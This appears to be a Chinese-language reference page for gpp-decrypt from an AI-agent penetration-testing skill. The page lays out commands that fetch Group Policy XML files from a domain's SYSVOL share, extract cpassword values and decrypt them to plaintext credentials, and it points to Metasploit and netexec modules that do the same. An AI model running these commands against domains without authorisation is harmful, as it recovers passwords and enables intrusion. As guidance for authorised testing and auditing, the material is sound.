x-glacier/kali-pentest / kali-pentest-zh
kali-pentest-zh
Flagged通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。
references/password/tools/gpp-decrypt.md
View on GitHub# gpp-decrypt
- **Category**: Password Attacks / Credential Recovery
- **Risk Level**: 🟢 Low
---
## 描述
一款用于解密组策略首选项(GPP)密码的简单工具。Microsoft 在 MSDN 文档中公开了用于加密 GPP `cpassword` 值的 AES-256 密钥(MS14-025),使得所有 GPP 存储的凭据都可以被轻松恢复。该工具接收 `cpassword` 字符串——可在 SYSVOL 共享上的 `Groups.xml`、`Services.xml`、`Scheduledtasks.xml`、`DataSources.xml`、`Printers.xml` 和 `Drives.xml` 中找到——并输出明文密码。在域控制器上残留旧版 GPP 配置时,是 Active Directory 后渗透阶段的必备工具。
## 安装
```bash
sudo apt install gpp-decrypt
```
## 参数说明
| 参数 | 说明 |
|------|------|
| `<cpassword>` | 从 GPP XML 文件中提取的加密 `cpassword` 字符串 |
## 常用命令
```bash
# 直接解密 cpassword 字符串
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
# 在挂载的 SYSVOL 共享中查找 GPP XML 文件并解密
find /mnt/sysvol -name "*.xml" -exec grep -l "cpassword" {} \;
grep -oP 'cpassword="([^"]+)"' /mnt/sysvol/Policies/{GUID}/Machine/Preferences/Groups/Groups.xml
# 管道:通过 smbclient 获取 Groups.xml 并解密
smbclient //dc01.domain.local/SYSVOL -U 'user%pass' \
-c 'get domain.local/Policies/{GUID}/Machine/Preferences/Groups/Groups.xml /tmp/Groups.xml'
grep -oP 'cpassword="\K[^"]+' /tmp/Groups.xml | xargs gpp-decrypt
# 递归搜索所有 GPP XML 文件中的 cpassword 值
find /mnt/sysvol -name "*.xml" -exec grep -oP 'cpassword="\K[^"]+' {} \; | while read -r hash; do
echo "[*] Decrypting: $hash"
gpp-decrypt "$hash"
done
```
## 注意事项
1. GPP 密码已通过 MS14-025(2014 年 5 月)被弃用,但旧版 XML 文件通常仍保留在 SYSVOL 上——AD 评估时务必检查。
2. gpp-decrypt 仅接收 `cpassword` 值本身,而非整个 XML 标签。
3. `cpassword` 字段出现在多个 GPP XML 文件中:`Groups.xml`、`Services.xml`、`Scheduledtasks.xml`、`DataSources.xml`、`Printers.xml` 和 `Drives.xml`。
4. Metasploit 模块 `post/windows/gather/credentials/gpp` 可从 Windows 会话中自动完成整个过程。
5. `netexec` 也可以自动发现和解密 GPP 密码:`netexec smb dc01 -u user -p pass -M gpp_password`。
6. 任何经过域身份验证的用户默认即可读取 SYSVOL——无需特殊权限。
---
## 官方参考
- [Kali gpp-decrypt](https://www.kali.org/tools/gpp-decrypt/)
- [MS14-025 Advisory](https://learn.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-025)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |